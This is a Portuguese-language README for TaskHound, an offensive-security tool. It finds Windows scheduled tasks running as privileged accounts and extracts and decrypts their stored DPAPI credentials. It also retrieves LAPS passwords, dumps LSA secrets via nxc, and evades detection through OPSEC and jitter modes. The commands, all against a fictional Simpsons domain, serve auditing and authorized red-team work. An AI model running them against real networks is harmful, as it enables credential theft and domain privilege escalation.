
Ferramenta para enumerar Tarefas Agendadas privilegiadas em Sistemas Remotos
Ferramenta de Descoberta de Tarefas Agendadas Privilegiadas do Windows para diversão e lucro.
O TaskHound caça tarefas agendadas do Windows que são executadas com contas privilegiadas e credenciais armazenadas. Ele enumera tarefas via SMB, analisa XMLs e identifica oportunidades de ataque de alto valor por meio da integração com o BloodHound.
Para contexto/história e explicações detalhadas: consulte as Postagens do Blog associadas - Parte 1 e Parte 2.
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
taskhound --offline-disk /mnt/disk
> **Suporte de Autenticação**: TaskHound suporta a maioria dos principais mecanismos de autenticação, incluindo senha, hash NTLM, Kerberos (também com ccache) e autenticação por chave AES.
## Arquivo de Configuração
TaskHound suporta arquivos de configuração TOML para configurações persistentes. Crie `taskhound.toml` no seu diretório de trabalho ou em `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Prioridade: Argumentos de CLI > Variáveis de ambiente > Configuração local > Configuração do usuário > Padrões
O BOF do TaskHound está incluído no Adaptix Extension-Kit em SAR-BOF/taskhound/.
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## Integração com BloodHound
TaskHound suporta tanto o **Legacy BloodHound** (Neo4j) quanto o **BloodHound Community Edition (BHCE)** com detecção automática de formato.
### Conexão ao Vivo```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Se uma conexão ativa não for possível, exporte usuários de alto valor com estas consultas Cypher:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Legado:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Em seguida, use: taskhound --bh-data exported_users.json ...
O TaskHound cria nós e arestas personalizados no BloodHound CE para visualizar caminhos de ataque de tarefas agendadas.
O que você obtém:
ScheduledTask com 20+ propriedades (credenciais, gatilhos, análise de senha, status de validação)HasTask, HasTaskWithStoredCreds, RunsAstaskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Nota**: OpenGraph é exclusivo do BHCE. O BloodHound legado não suporta tipos de nós personalizados.
---
## Integração com LAPS
O TaskHound pode recuperar e usar automaticamente senhas LAPS para autenticação por host. Suporta tanto o Windows LAPS (`msLAPS-Password`) quanto o LAPS legado (`ms-Mcs-AdmPwd`), incluindo senhas criptografadas via MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Tipos de LAPS suportados:
| Tipo | Atributo | Criptografado |
|---|---|---|
| Windows LAPS | msLAPS-Password | Não |
O TaskHound extrai e descriptografa credenciais de tarefas armazenadas usando DPAPI. A extração de DPAPI está ativada por padrão.```bash
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Importante**: Cada host possui uma chave DPAPI_SYSTEM exclusiva. Para varreduras de múltiplos alvos, colete (padrão) e depois descriptografe cada alvo offline.
---
## Validação de Credenciais
O TaskHound avalia se as senhas das tarefas armazenadas ainda são provavelmente válidas consultando o histórico de execução de tarefas via RPC e aplicando heurísticas. Isso está **habilitado por padrão**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
O Agendador de Tarefas do Windows registra apenas execuções de tarefas bem-sucedidas. Falhas de autenticação (senha incorreta, conta bloqueada, etc.) são silenciosamente ignoradas. A tarefa simplesmente não é executada.
Ponto-chave: o Windows valida as credenciais no momento da criação da tarefa. Se você tentar criar uma tarefa com uma senha incorreta, recebe ERROR_LOGON_FAILURE e a tarefa não é criada. Isso significa: se uma tarefa com credenciais armazenadas existe, a senha era válida quando a tarefa foi criada.
TaskHound usa heurísticas para estimar a validade das credenciais:
O ponto-chave: comparar pwdLastSet do AD com LastRunTime do Agendador de Tarefas nos diz se a senha foi alterada após a última execução bem-sucedida. Para tarefas nunca executadas, comparar pwdLastSet com task_creation_date nos diz se a senha foi alterada após a tarefa ter sido criada com credenciais válidas.
Sem dados de AD (ex.: --no-ldap e sem BloodHound): TaskHound recorre ao modo somente RPC, usando apenas o código de retorno e o horário da última execução. Uma execução bem-sucedida retorna LIKELY_VALID; a detecção de desatualização baseada em cronograma ainda se aplica se o intervalo do gatilho for conhecido a partir do XML da tarefa.
Nota: Desabilitado ao usar
--opsecou--no-rpc.
TaskHound suporta vários formatos de saída para diferentes casos de uso. Todas as saídas usam uma estrutura de diretórios organizada sob --output-dir (padrão: ./output).
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Estrutura de Diretórios```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
A saída HTML gera um relatório de segurança abrangente, projetado para avaliações de blue team:
Por padrão, o TaskHound salva arquivos XML brutos de tarefas e blobs de credenciais DPAPI para análise offline:```bash
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## Varredura Multithread
Para grandes ambientes, use varredura paralela com limitação de taxa:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
Por padrão, --auto-targets aplica filtragem inteligente para reduzir ruído e conexões com falha:
| Filter | Default | Override |
|---|---|---|
| Contas desabilitadas |
Prioridade da Fonte de Dados: BloodHound (se configurado) → fallback LDAP
Ao usar BloodHound, o TaskHound consulta com include_properties=true para enumeração eficiente em uma única consulta. Se os dados do BloodHound forem mais antigos que 7 dias, um aviso é exibido; mais de 30 dias aciona um aviso urgente.
Predefinições de Filtro:
servers - apenas sistemas operacionais Windows Serverworkstations - apenas sistemas operacionais não servidores(raw LDAP) - filtro LDAP personalizado (requer fonte LDAP)O TaskHound resolve SIDs para nomes legíveis usando uma cadeia de fallback em várias camadas:
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## Análise offline
Analise tarefas sem acesso à rede:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
O TaskHound fornece controle granular sobre operações de rede para equilibrar furtividade e funcionalidade.
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Comportamento Padrão
O TaskHound é **muito barulhento por padrão** - todos os recursos são habilitados para máxima visibilidade. Isso o torna ideal para auditorias e avaliações abrangentes onde OPSEC não é uma preocupação:
- **Detecção de Credential Guard** - Habilitado por padrão (desative com `--no-credguard`)
- **Validação de credenciais** - Habilitado por padrão (desative com `--no-validate-creds`)
- **Coleta de DPAPI** - Habilitado por padrão (desative com `--no-loot`)
- **Resolução LDAP** - Habilitado por padrão (desative com `--no-ldap`)
- **Operações RPC** - Habilitado por padrão (desative com `--no-rpc`)
> [!WARNING]
> **As verificações de Credential Guard são ALTAMENTE detectáveis.** Como o serviço Remote Registry está parado por padrão no Windows moderno, o TaskHound **iniciará o serviço** remotamente via SCM, realizará as verificações e depois o interromperá (Assim como o secretsdump). Isso fará qualquer SOC decente acender como uma árvore de Natal. **Definitivamente use `--no-credguard` se quiser evitar isso em engajamentos!**
Falando em engajamentos: Para operações de red team/stealth, use `--opsec` para desativar todos os recursos barulhentos de uma vez. (Ou use o BOF).
### Exemplos de Uso```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
--bh-live--opsec - Desativa todas as operações ruidosas de uma vez--jitter para randomização de temporização - Evite padrões de varredura previsíveis--offlineO TaskHound usa Rich para saída de console formatada com tabelas coloridas e indicadores de progresso.``` taskhound --help
<details>
<summary>Clique para expandir o uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Quando o consumo de cafeína e o tempo livre se alinham:
E a todos que contribuíram para tornar as ferramentas de segurança ofensiva acessíveis.
TaskHound é estritamente uma ferramenta de auditoria e educacional. Use apenas em ambientes que você possui ou tem autorização explícita para testar. Sério. Não seja um babaca.
PRs são bem-vindos. Metade disso foi vibe-coding induzido por cafeína, então não espere milagres.
Use com responsabilidade. Nenhuma garantia é fornecida. Consulte LICENSE para detalhes.
| Recurso | Descrição |
|---|
| Detecção de Tier 0 e Alto Valor | Identifica automaticamente tarefas executadas como Domain Admins, Enterprise Admins e outras contas privilegiadas |
| Integração com BloodHound | Conecte-se a instâncias BHCE/Legacy ativas ou importe exportações para detecção de usuários de alto valor |
| Suporte a OpenGraph | Visualize tarefas agendadas como nós de caminho de ataque no BloodHound CE |
| Integração com LAPS | Recupere e use automaticamente senhas LAPS (LAPS do Windows e Legacy) para autenticação por host |
| Extração de Credenciais DPAPI | Coleta e descriptografa blobs DPAPI contendo credenciais de tarefas armazenadas |
| Varredura Multithread | Processamento paralelo de alvos com limite de taxa para grandes ambientes |
| Detecção de Tier-0 baseada em LDAP | Detecta contas privilegiadas via associação a grupos sem o BloodHound |
| Validação de Credenciais | Verifica se as senhas de tarefas armazenadas ainda são válidas via RPC |
| Análise Offline | Processa imagens de disco montadas ou XMLs coletados anteriormente |
| Múltiplos Formatos de Saída | Relatórios de segurança em texto puro, JSON, CSV e HTML com pontuação de severidade |
| Resolução de SID | Resolução em múltiplas camadas via BloodHound → Cache → LSARPC → LDAP → GC |
| Cache | Cache persistente baseado em SQLite para consultas de SID e credenciais LAPS |
| Fonte | Método de Detecção |
|---|
| BHCE | isTierZero, tags de sistema (admin_tier_0), AdminSDHolder |
| Legado | AdminSDHolder (admincount=1), detecção baseada em SID |
| LDAP | Consultas de associação a grupos (--ldap-tier0) |
| Integrado | SIDs Tier 0 bem conhecidos (Domain Admins, Enterprise Admins, etc.) |
| Windows LAPS |
msLAPS-EncryptedPassword |
| Sim (MS-GKDI) |
| LAPS legado | ms-Mcs-AdmPwd | Não |
| Status | Significado |
|---|
CONFIRMED_VALID | Senha inalterada desde a criação da tarefa E tarefa executada dentro do cronograma esperado - credenciais confirmadas em funcionamento |
HIGH_CONFIDENCE_VALID | Senha inalterada desde a criação da tarefa, mas o tempo do gatilho é desconhecido (ex.: gatilho de inicialização) - credenciais provavelmente válidas |
LIKELY_VALID | Senha alterada, mas tarefa executada dentro do cronograma (credenciais atualizadas), OU tarefa executada com sucesso (modo somente RPC) |
POSSIBLY_STALE | A tarefa deveria ter sido executada, mas não foi - pode indicar credenciais desatualizadas |
DEFINITELY_STALE | Senha alterada após a última execução bem-sucedida - as credenciais estão definitivamente incorretas |
NEVER_RAN_LIKELY_VALID | A tarefa nunca foi executada, mas a senha permaneceu inalterada desde a criação - provavelmente válida (pode não ter direitos de logon em lote) |
NEVER_RAN_POSSIBLY_STALE | A tarefa nunca foi executada e a senha foi alterada após a criação - provavelmente desatualizada |
NEVER_RAN_UNKNOWN | A tarefa nunca foi executada, sem contexto de AD - era válida na criação, status atual desconhecido |
UNKNOWN | Não é possível determinar (conta bloqueada, etc.) |
| Formato | Flag | Descrição | Caso de Uso |
|---|
| Plain | -o plain | Saída de console legível por humanos (padrão) | Uso interativo, revisão rápida |
| JSON | -o json | Exportação estruturada legível por máquina | Automação, análise de dados, scripts |
| CSV | -o csv | Exportação compatível com planilhas | Relatórios, filtragem, análise no Excel |
| HTML | -o html | Relatório de segurança com pontuação de gravidade | Auditorias de blue team, relatórios para as partes interessadas |
| Excluídas |
--include-disabled |
| Computadores obsoletos (>60 dias) | Excluídos | --stale-threshold 0 (desativar) |
| Controladores de Domínio | Excluídos | --include-dcs |
| Protocolo | Operações | Sinalizador para Desativar |
|---|
| SMB | Enumeração de tarefas (sempre usada) | N/A |
| LDAP (389/636) | Resolução de SID, detecção de Tier-0, pwdLastSet | --no-ldap |
| Catálogo Global (3268) | Resolução de SID entre domínios | --no-ldap |
| LSARPC (pipe SMB) | Resolução de SID de fallback | --no-rpc |
| Registro Remoto (pipe SMB) | Detecção do Credential Guard | --no-credguard |
| RPC do Agendador de Tarefas (pipe SMB) | Validação de credenciais | --no-validate-creds |
| Coleta de arquivos DPAPI (SMB) | Coleta de blobs de credenciais DPAPI | --no-loot |